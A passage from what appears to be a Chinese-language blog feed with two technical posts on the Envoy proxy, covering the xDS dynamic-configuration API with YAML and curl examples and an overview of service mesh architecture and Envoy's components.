title="初始化流程"></a>初始化流程</h3><p>Envoy有着较复杂的初始化流程，但大体上在任何侦听器开始侦听和接受新连接之前，都会进行如下初始化流程</p><ul><li>启动期间，集群管理器会进行多阶段初始化，首先初始化静态/DNS集群，而后初始化EDS集群；接着，如果定义了CDS，会进行CDS初始化，等待一个响应（或失败），并对CDS提供的集群进行相同次序的初始化；</li><li>若集群配置了主动健康状态检查，Envoy会进行一次有效的健康探测；</li><li>集群管理器初始化完成后，开始进行RDS和LDS初始化，并且在LDS/RDS请求至少有一个响应（或失败）之后，服务器才开始接受连接请求；</li><li>如果LDS本身返回需要RDS响应的侦听器，则Envoy会等待接收到RDS响应（或失败）；此过程称为侦听器预热；</li><li>完成前面的所有步骤之后，侦听器开始接受新连接；</li></ul><h3 id="报文"><a href="#报文" class="headerlink" title="报文"></a>报文</h3><h4 id="Discovery-Request"><a href="#Discovery-Request" class="headerlink" title="Discovery Request"></a>Discovery Request</h4><p>全量更新请求报文。每个流都以Envoy的DiscoveryRequest开始，指定要订阅的资源列表、与订阅的资源对应的类型URL、节点标识符和空的version_info等信息，示例EDS</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version_info:</span></span><br><span class="line"><span class="attr">node:</span> <span class="string">{</span> <span class="attr">id:</span> <span class="string">envoy</span> <span class="string">}</span></span><br><span class="line"><span class="attr">resource_names:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="string">foo</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">bar</span></span><br><span class="line"><span class="attr">type_url:</span> <span class="string">type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment</span></span><br><span class="line"><span class="attr">response_nonce:</span></span><br></pre></td></tr></table></figure><p>字段</p><table><thead><tr><th>Field</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td>version_info</td><td>string</td><td>如果是第一次请求则为空，否则为最近一次成功的请求</td></tr><tr><td>node</td><td>core.Node</td><td>发起请求的节点</td></tr><tr><td>resource_names</td><td>string[]</td><td>要订阅的资源列表，CDS和LDS的请求必须全量，必须获得该节点的所有相关资源，会删除本地已有的但是响应结果没有的资源</td></tr><tr><td>type_url</td><td>string</td><td>正在请求的xDS资源类型</td></tr><tr><td>response_nonce</td><td>string</td><td>对应于discovery_nonce的ACK/NACK</td></tr><tr><td>error_detail</td><td>google.rpc.status</td><td>无法获取配置时的错误信息</td></tr></tbody></table><h4 id="Discovery-Response"><a href="#Discovery-Response" class="headerlink" title="Discovery Response"></a>Discovery Response</h4><p>全量更新响应报文。 基于Discovery Response报文，管理服务器可能立即回复，或者当请求的资源可用时进行回复</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version_info:</span> <span class="string">X</span></span><br><span class="line"><span class="attr">resources:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="string">foo</span> <span class="string"><ClusterLoadAssignment</span> <span class="string">proto</span> <span class="string">encoding></span></span><br><span class="line"><span class="bullet">-</span> <span class="string">bar</span> <span class="string"><ClusterLoadAssignment</span> <span class="string">proto</span> <span class="string">encoding></span></span><br><span class="line"><span class="attr">type_url:</span> <span class="string">type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment</span></span><br><span class="line"><span class="attr">nonce:</span> <span class="string">A</span></span><br></pre></td></tr></table></figure><p>字段</p><table><thead><tr><th>Field</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td>version_info</td><td>string</td><td>响应数据版本</td></tr><tr><td>resources</td><td>google.protobuf.Any[]</td><td>对应请求的资源</td></tr><tr><td>type_url</td><td>string</td><td>资源类型</td></tr><tr><td>nonce</td><td>string</td><td>request/response一对一响应的方式</td></tr></tbody></table><h4 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h4><ul><li>每个Envoy流以DiscoveryRequest开始，包括了列表订阅的资源、订阅资源对应的类型 URL、节点标识符和空的version_info；</li><li>管理服务器可立刻或等待资源就绪时发送 DiscoveryResponse作为响应；</li><li>Envoy 在处理 DiscoveryResponse 响应后，将通过Stream发送一个新的请求，请求包含应用成功的最后一个版本号和管理服务器提供的 nonce</li><li>若本次更新已成功应用，则version_info的值设置为相应的DiscoveryResponse报文中的版本号，例如下文的V=X</li><li>若Envoy拒绝配置更新版本X，则响应以error_detail及前一个的版本号；若前一个版本号为空，则error_detail详细的错误信息</li><li>即便拒绝了某响应报文，后续API更新级可能会在新的版本Y上成功完成</li></ul><p><img src="/2021/06/08/Envoy-2-xDS-API/Envoy-2-xDS-API%5Cproto%E6%B5%81%E7%A8%8B1.jpg" alt="proto流程"></p><p><img src="/2021/06/08/Envoy-2-xDS-API/Envoy-2-xDS-API%5Cproto%E6%B5%81%E7%A8%8B2.jpg" alt="proto流程2"></p><p><img src="/2021/06/08/Envoy-2-xDS-API/Envoy-2-xDS-API%5Cproto%E6%B5%81%E7%A8%8B3.png" alt="proto流程3"></p><h4 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h4><p>通常情况下，为了避免流量丢失，更新的顺序应该遵循make before break模型，它要求: </p><ul><li>如果存在，必须始终先推送CDS更新；</li><li>EDS（如果存在）必须在相应集群的CDS更新后到达；</li><li>LDS更新必须在相应的CDS/EDS更新后到达；</li><li>与新添加的Listener相关的RDS更新必须在CDS/EDS/LDS更新后到达；</li><li>与新添加的RouteConfiguration相关的VHDS更新（如果存在）必须在RDS更新之后到达；</li><li>然后，可以删除陈旧的CDS集群和相关的EDS端点（不再被引用的端点）</li></ul><h3 id="订阅方式"><a href="#订阅方式" class="headerlink" title="订阅方式"></a>订阅方式</h3><h4 id="文件系统"><a href="#文件系统" class="headerlink" title="文件系统"></a>文件系统</h4><p>为Envoy提供动态配置的最简单方法是将其放置在ConfigSource中显式指定的文件路径中</p><ul><li>Envoy将使用inotify（Mac OS X上的kqueue）来监视文件的更改，并在更新时解析文件中的DiscoveryResponse proto。因为二进制protobufs，JSON，YAML和proto文本是DiscoveryResponse支持的格式，这意味着，文件内容自身需要编排为DiscoveryResponse proto响应报文的格式</li></ul><h5 id="EDS示例"><a href="#EDS示例" class="headerlink" title="EDS示例"></a>EDS示例</h5><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># envoy配置修改</span></span><br><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">targetCluster</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">lb_policy:</span> <span class="string">ROUND_ROBIN</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">EDS</span> <span class="comment"># 原来是STATIC指定，现在改为EDS</span></span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"><span class="attr">service_name:</span> <span class="string">webcluster1</span> <span class="comment"># 可选，代替集群的名称，提供给 EDS 服务</span></span><br><span class="line"><span class="attr">eds_config:</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">'/etc/envoy/eds.yaml'</span> <span class="comment"># 指定订阅的文件路径</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># eds.yaml</span></span><br><span class="line"><span class="comment"># envoy部署为容器时，由于其叠加文件系统，Docker上可能需要强制激活文件更改；可以使用重新命名并命名回来的方式</span></span><br><span class="line"><span class="attr">version_info:</span> <span class="string">'0'</span></span><br><span class="line"><span class="attr">resources:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">"@type"</span><span class="string">:</span> <span class="string">type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment</span></span><br><span class="line"> <span class="attr">cluster_name:</span> <span class="string">webcluster1</span></span><br><span class="line"> <span class="attr">endpoints:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">lb_endpoints:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">endpoint:</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span></span><br><span class="line"> <span class="attr">address:</span> <span class="number">172.17</span><span class="number">.0</span><span class="number">.3</span></span><br><span class="line"> <span class="attr">port_value:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><h5 id="CDS示例"><a href="#CDS示例" class="headerlink" title="CDS示例"></a>CDS示例</h5><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 配置envoy.yaml 设置集群配置为动态资源</span></span><br><span class="line"><span class="attr">dynamic_resources:</span></span><br><span class="line"> <span class="attr">cds_config:</span></span><br><span class="line"><span class="attr">path:</span> <span class="string">"/etc/envoy/cds.yaml"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># /etc/envoy/cds.yaml</span></span><br><span class="line"><span class="attr">version_info:</span> <span class="string">'0'</span></span><br><span class="line"><span class="attr">resources:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">"@type"</span><span class="string">:</span> <span class="string">type.googleapis.com/envoy.config.cluster.v3.Cluster</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">targetCluster</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">lb_policy:</span> <span class="string">ROUND_ROBIN</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">EDS</span></span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"> <span class="attr">service_name:</span> <span class="string">webcluster1</span></span><br><span class="line"> <span class="attr">eds_config:</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/etc/envoy/eds.conf"</span></span><br></pre></td></tr></table></figure><h4 id="gRPC"><a href="#gRPC" class="headerlink" title="gRPC"></a>gRPC</h4><p>Envoy支持为每个xDS API独立指定 gRPC ApiConfigSource，它指向与管理服务器对应的某上游集群；</p><ul><li>这将为每个xDS资源类型启动一个独立的双向gRPC流，可能会发送给不同的管理服务器</li><li>每个流都有自己独立维护的资源版本 ，且不存在跨资源类型的共享版本机制 ；</li><li>在不使用ADS的情况下，每个资源类型可能具有不同的版本，因为Envoy API 允许指向不同的EDS/RDS资源配置并对应不同的ConfigSource</li></ul><p><img src="/2021/06/08/Envoy-2-xDS-API/Envoy-2-xDS-API%5CxDS-gRPC.jpg" alt="xDS-gRPC"></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> </span><br><span class="line"> <span class="string">...</span> </span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"> <span class="attr">service_name:</span></span><br><span class="line"><span class="attr">eds_config:</span></span><br><span class="line"> <span class="string">api_config_source：</span></span><br><span class="line"><span class="attr">api_type:</span> <span class="string">...</span> <span class="comment"># API可经由REST或gRPC获取，支持的类型包括REST、GRPC和DELTA_GRPC</span></span><br><span class="line"><span class="string">rate_limit_settings：</span> <span class="string">{...}</span> <span class="comment"># 速率限制</span></span><br><span class="line"><span class="attr">grpc_services:</span> <span class="comment"># 提供grpc服务的一到多个服务源</span></span><br><span class="line"> <span class="attr">envoy_grpc:</span> <span class="comment"># Envoy内建的grpc客户端，envoy_grpc和google_grpc二者仅能用其一；</span></span><br><span class="line"><span class="attr">cluster_name:</span> <span class="string">...</span> <span class="comment"># grpc集群的名称；</span></span><br><span class="line"> <span class="attr">google_grpc:</span> <span class="comment"># Google的C++ grpc客户端，可选，一般使用上面的自定义集群</span></span><br><span class="line"> <span class="attr">timeout:</span> <span class="string">...</span> <span class="comment"># grpc超时时长</span></span><br><span class="line"> </span><br><span class="line"><span class="comment"># XDS作为gRPC服务端，需要静态定义，然后配置eds的config时指定静态的xds cluster即可</span></span><br><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">web-cluster-1</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">EDS</span></span><br><span class="line"> <span class="attr">lb_policy:</span> <span class="string">ROUND_ROBIN</span></span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"><span class="attr">service_name:</span> <span class="string">web-cluster-1</span></span><br><span class="line"><span class="attr">eds_config:</span></span><br><span class="line"> <span class="attr">api_config_source:</span></span><br><span class="line"> <span class="attr">api_type:</span> <span class="string">GRPC</span></span><br><span class="line"><span class="attr">grpc_services:</span></span><br><span class="line"> <span class="attr">envoy_grpc:</span></span><br><span class="line"><span class="attr">cluster_name:</span> <span class="string">xds_cluster</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">xds_cluster</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">STATIC</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">http2_protocol_options:</span> <span class="string">{}</span></span><br><span class="line"> <span class="attr">load_assignment:</span></span><br><span class="line"><span class="attr">cluster_name:</span> <span class="string">xds_cluster</span></span><br><span class="line"><span class="attr">endpoints:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">lb_endpoints: - endpoint:</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"><span class="attr">socket_address:</span></span><br><span class="line"> <span class="attr">address:</span> <span class="number">172.17</span><span class="number">.0</span><span class="number">.2</span></span><br><span class="line"> <span class="attr">port_value:</span> <span class="number">8081</span></span><br></pre></td></tr></table></figure><h4 id="REST"><a href="#REST" class="headerlink" title="REST"></a>REST</h4><p>需要提供一个REST服务器来支持，一般提供REST API服务的管理服务器也需要定义为Envoy上的集群，并由eds等相关的动态发现服务进行调用，这些管理服务器需要以静态的方式提供</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> </span><br><span class="line"> <span class="string">...</span> </span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"><span class="attr">service_name:</span></span><br><span class="line"><span class="attr">eds_config:</span></span><br><span class="line"> <span class="string">api_config_source：</span></span><br><span class="line"><span class="attr">api_type:</span> <span class="string">...</span> <span class="comment"># API可经由REST或gRPC获取，支持的类型包括REST、GRPC和DELTA_GRPC</span></span><br><span class="line"><span class="attr">cluster_names:</span> <span class="string">...</span> <span class="comment"># 提供服务的集群名称列表，仅能与REST类型的API一起使用；多个集群用于冗余之目的，故障时将循环访问；</span></span><br><span class="line"><span class="attr">refresh_delay:</span> <span class="string">...</span> <span class="comment"># REST API轮询时间间隔；</span></span><br><span class="line"><span class="attr">request_timeout:</span> <span class="string">...</span> <span class="comment"># REST API请求超时时长，默认为1s</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 示例</span></span><br><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">MSCluster</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">EDS</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"><span class="attr">service_name:</span> <span class="string">myservice</span></span><br><span class="line"><span class="attr">eds_config:</span></span><br><span class="line"> <span class="attr">api_config_source:</span></span><br><span class="line"> <span class="attr">api_type:</span> <span class="string">REST</span></span><br><span class="line"> <span class="attr">cluster_names:</span> <span class="string">[eds_cluster]</span></span><br><span class="line"> <span class="attr">refresh_delay:</span> <span class="string">5s</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">eds_cluster</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">STATIC</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">load_assignment:</span></span><br><span class="line"><span class="attr">cluster_name:</span> <span class="string">eds_cluster</span></span><br><span class="line"><span class="attr">endpoints:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">lb_endpoints:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">endpoint:</span></span><br><span class="line"><span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span></span><br><span class="line"><span class="attr">address:</span> <span class="number">172.17</span><span class="number">.0</span><span class="number">.5</span></span><br><span class="line"><span class="attr">port_value:</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过POST请求向172.17.0.5发送请求即可，用于动态添加endpoints，之后可以通过管理平台观察结果 /config_dump</span></span><br><span class="line"><span class="string">curl</span> <span class="string">-X</span> <span class="string">POST</span> <span class="string">--header</span> <span class="string">'Content-Type: application/json'</span> <span class="string">--header</span> <span class="string">'Accept: application/json'</span> <span class="string">-d</span> <span class="string">'{</span></span><br><span class="line"><span class="string"> "hosts":[</span></span><br><span class="line"><span class="string"> {</span></span><br><span class="line"><span class="string"> "ip_address":"172.17.0.3",</span></span><br><span class="line"><span class="string"> "port":80,</span></span><br><span class="line"><span class="string"> "tags":{</span></span><br><span class="line"><span class="string"> "az":"cn-north1-a",</span></span><br><span class="line"><span class="string"> "canary":false,</span></span><br><span class="line"><span class="string"> "load_balancing_weight":50</span></span><br><span class="line"><span class="string"> }</span></span><br><span class="line"><span class="string"> },</span></span><br><span class="line"><span class="string"> {</span></span><br><span class="line"><span class="string"> "ip_address":"172.17.0.4",</span></span><br><span class="line"><span class="string"> "port":80,</span></span><br><span class="line"><span class="string"> "tags":{</span></span><br><span class="line"><span class="string"> "az":"cn-north1-a",</span></span><br><span class="line"><span class="string"> "canary":false,</span></span><br><span class="line"><span class="string"> "load_balancing_weight":50</span></span><br><span class="line"><span class="string"> }</span></span><br><span class="line"><span class="string"> }</span></span><br><span class="line"><span class="string"> ]</span></span><br><span class="line"><span class="string">}'</span> <span class="string">http://172.17.0.5:8080/edsservice/myservice</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>Envoy支持基于文件系统或通过查询一到多个管理服务器（Management Server） 来发现各种动态资源（配置信息），这些发现服务及其相应的API联合起来称为 xDS API。</p>
<p>Envoy可动态配置部分包括LDS、CDS、RDS、EDS、SDS、 HDS(Health Discovery Service)、RLS(Rate Limit Service)和MS（Metric Service）等；</p>
</summary>
<category term="微服务" scheme="http://yoursite.com/categories/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"/>
<category term="Envoy" scheme="http://yoursite.com/tags/Envoy/"/>
</entry>
<entry>
<title>Envoy-1-概述</title>
<link href="http://yoursite.com/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/"/>
<id>http://yoursite.com/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/</id>
<published>2021-06-08T14:23:27.000Z</published>
<updated>2021-06-08T14:32:40.479Z</updated>
<content type="html"><![CDATA[<h3 id="微服务如何治理"><a href="#微服务如何治理" class="headerlink" title="微服务如何治理"></a>微服务如何治理</h3><p>服务治理就是对服务不断增长的复杂度的管控及管理，这里主要涉及到k8s和service mesh。</p><p>Kubernetes提供了强大的应用部署、升级和弹性伸缩等管理机制，并借助于Service 等实现了服务注册、发现以及负载均衡；它本质是应用的生命周期管理，为服务提供了可扩展、高弹性的部署和管理平台。</p><p>Service mesh（服务网格）提供应用间的流量管理，拦截微服务间的流量交由其控制平面来决定是否做额外的操作，它将流量控制从k8s中解耦。</p><a id="more"></a><h3 id="Service-Mesh"><a href="#Service-Mesh" class="headerlink" title="Service Mesh"></a>Service Mesh</h3><p>专注于处理服务间通信的基础设施，它负责在现代云原生应用组成的复杂拓扑中可靠的传递请求。</p><p>旧的解决方案：SDK</p><p>以前的服务开发中，服务自身除了处理业务逻辑的相关功能外，每个微服务还必须实现此前单体应用模型中用于网络间通信的基础功能，甚至还包括分布式应用程序之间的通信环境中应该实现的其它网络功能，例如熔断、限流、应用跟踪、指标采集、服务发现和负载均衡等。</p><p><img src="/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/%E6%97%A7%E5%AF%B9%E6%AF%94.png" alt="旧对比"></p><p>新的解决方案：Sidecar</p><p>它让服务集中解决业务逻辑的问题，网络相关的功能则与业务逻辑剥离，并封装为独立的运行单元并作为服务的反向透明代理，从而不再与业务紧密关联。换句话说，微服务的业务程序独立运行，而网络功能则以独立的代理层工作于客户端与服务之间，专门为代理的服务提供熔断、限流、追 踪、指标采集和服务发现等功能；而这些由各服务的专用代理层联合组成的服务通信网络则称之为服务网格（Service Mesh）</p><p><img src="/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/%E6%96%B0%E5%AF%B9%E6%AF%94.png" alt="新对比"></p><h4 id="基本功能"><a href="#基本功能" class="headerlink" title="基本功能"></a>基本功能</h4><p>控制服务间通信：熔断、重试、超时、故障注入、负载均衡和故障转移等；</p><p>服务发现：通过专用的服务总线发现服务端点；</p><p>可观测：指标数据采集、监控、分布式日志记录和分布式追踪；</p><p>安全性：TLS/SSL通信和密钥管理；</p><p>身份认证和授权检查：身份认证，以及基于黑白名单或RBAC的访问控制功能；</p><p>部署：对容器技术的原生支持，例如Docker和Kubernetes等；</p><p>服务间的通信协议：HTTP 1.1、HTTP 2.0和gRPC等；</p><p>健康状态检测：监测上游服务的健康状态</p><h4 id="通信方式"><a href="#通信方式" class="headerlink" title="通信方式"></a>通信方式</h4><p>微服务彼此间不会直接进行通信，而是由各服务前端的称为Service Mesh的代理程序进行 ；</p><p>Service Mesh内置支持服务发现、熔断、负载均衡等网络相关的用于控制服务间通信的各种高级功能；</p><p>Service Mesh与编程语言无关，开发人员可以使用任何编程语言编写微服务的业务逻辑，各服务之间也可以使用不同的编程语言开发；</p><p>服务间的通信的局部故障可由Service Mesh自动处理；</p><p>Service Mesh中的各服务的代理程序由控制平面（Control Plane）集中管理；各代理程序之间的通信网络也称为数据平面（Data Plane）；</p><p>部署于容器编排平台时，各代理程序会以微服务容器的Sidecar模式运行</p><h4 id="控制平面"><a href="#控制平面" class="headerlink" title="控制平面"></a>控制平面</h4><p>为网格中的所有正在运行的数据平面提供策略和配置，从而将所有数据平面联合构建为分布式系统，它不接触系统中的任何数据包或请求；</p><p>负责的任务包括例如确定两个服务Service X到Service Y之间的路由，Service Y相关集群的负载均衡机制、断路策略、流量转移机制等，并将决策下发给Service X和Service Y的Sidecar。</p><p>工作负载调度程序：借助于底层的基础设施（例如Kubernetes）完成服务及其Sidecar运行位置的调度决策；</p><p>服务发现：服务网格中的服务发现；</p><p>Sidecar代理配置API：各Sidecar代理以最终一致的方式从各种系统组件获取配置；</p><p>控制平面UI：管理人员的操作接口，用于配置全局级别的设置，例如部署、身份认证和授权、路由及负载均衡等</p><p>目前主要以lstio为主作为服务网格的控制平面。</p><h4 id="数据平面"><a href="#数据平面" class="headerlink" title="数据平面"></a>数据平面</h4><p>触及系统中的每个数据包或请求，负责服务发现、健康检查、路由、负载均衡、身份验证/授权和可观测性等；</p><p>目前主要以Envoy为主作为服务网格的数据平面。</p><h4 id="实现方式"><a href="#实现方式" class="headerlink" title="实现方式"></a>实现方式</h4><p>lstio+envoy, 部署于k8s之上, lstio作为控制平面, envoy作为数据平面.</p><h3 id="Envoy"><a href="#Envoy" class="headerlink" title="Envoy"></a>Envoy</h3><p>Envoy使用单进程/多线程模型，一个主线程负责实现各类管理任务，而一些工作线程则负责执行监听、过滤和转发等代理服务器的核心功能。</p><p>主线程：负责envoy程序的启动和关闭、xDS API调用处理（包括DNS、健康状态检测和集群管理）、运行时配置、统计数据刷新、管理接口维护和其它线程管理（信号和热重启）等，相关的所有事件均以异步非阻塞模式完成；</p><p>工作线程：默认情况下，Envoy根据当前主机CPU核心数来创建等同数量的工作线程，不过，管理员也可以通过程序选项–concurrenty具体指定；每个工作线程运行一个非阻塞型事件循环，负责为每个侦听器监听指定的套接字、接收新请求、为每个连接初始一个过滤器栈并处理此连接整个生命周期中的所有事件。</p><p>文件刷写线程：Envoy写入的每个文件都有一个专用独立的阻塞型刷写线程，当工作线程需要写入文件时，数据实际上被移入内存缓冲区，最终通过文件刷写线程同步至文件中</p><p><img src="/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/%E7%BA%BF%E7%A8%8B%E6%A8%A1%E5%9E%8B.png" alt="线程模型"></p><h4 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h4><p>性能、可扩展性及动态可配置性.</p><p>性能：Envoy提供极高的吞吐量和低尾延迟差异，同时消耗相对较少的CPU和RAM；</p><p>可扩展性：Envoy在L4和L7上提供丰富的可插拔过滤器功能，允许用户轻松添加新功能；</p><p>可配置性：Envoy提供了一组可由控制平面服务实现的管理API，也称为xDS API, 若控制平面实现了这所有的API，则可以使用通用引导配置在整个基础架构中运行Envoy, 所有进一步的配置更改都可通过管理服务器无缝地进行动态传递，使得Envoy永远不需要重新启动. </p><p>基于以上特性，这使得Envoy成为一个通用数据平面，当与足够复杂的控制平面相结合时，可大大降低整体操作复杂性</p><h4 id="基础组件"><a href="#基础组件" class="headerlink" title="基础组件"></a>基础组件</h4><p><img src="/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/%E5%9F%BA%E7%A1%80%E7%BB%84%E4%BB%B6.png" alt="基础组件"></p><p>集群（Cluster）：集群是指 Envoy 连接的一组逻辑相同的上游主机。Envoy 通过服务发现来发现集群的成员。可以选择通过主动健康检查来确定集群成员的健康状态。Envoy 通过负载均衡策略决定将请求路由到集群的哪个成员。RDS通过路由指向集群 ，CDS提供集群配置，而Envoy通过EDS发现集群成员, 即端点；</p><p>下游（Downstream）：下游主机连接到Envoy，发送请求并接收响应，它们是Envoy的客户端；</p><p>上游（Upstream）：上游主机接收来自Envoy的连接和请求并返回响应，它们是Envoy代理的后端服务器；</p><p>端点（Endpoint）：端点即上游主机，是一个或多个集群的成员，可通过EDS发现；</p><p>监听器（Listener）：监听器是能够由下游客户端连接的命名网络位置，例如端口或unix域套接字等；</p><p>xDS：CDS 、EDS、HDS 、LDS、RLS(Rate Limit)、 RDS 、 SDS、VHDS和RTDS等API的总称</p><h4 id="连接处理"><a href="#连接处理" class="headerlink" 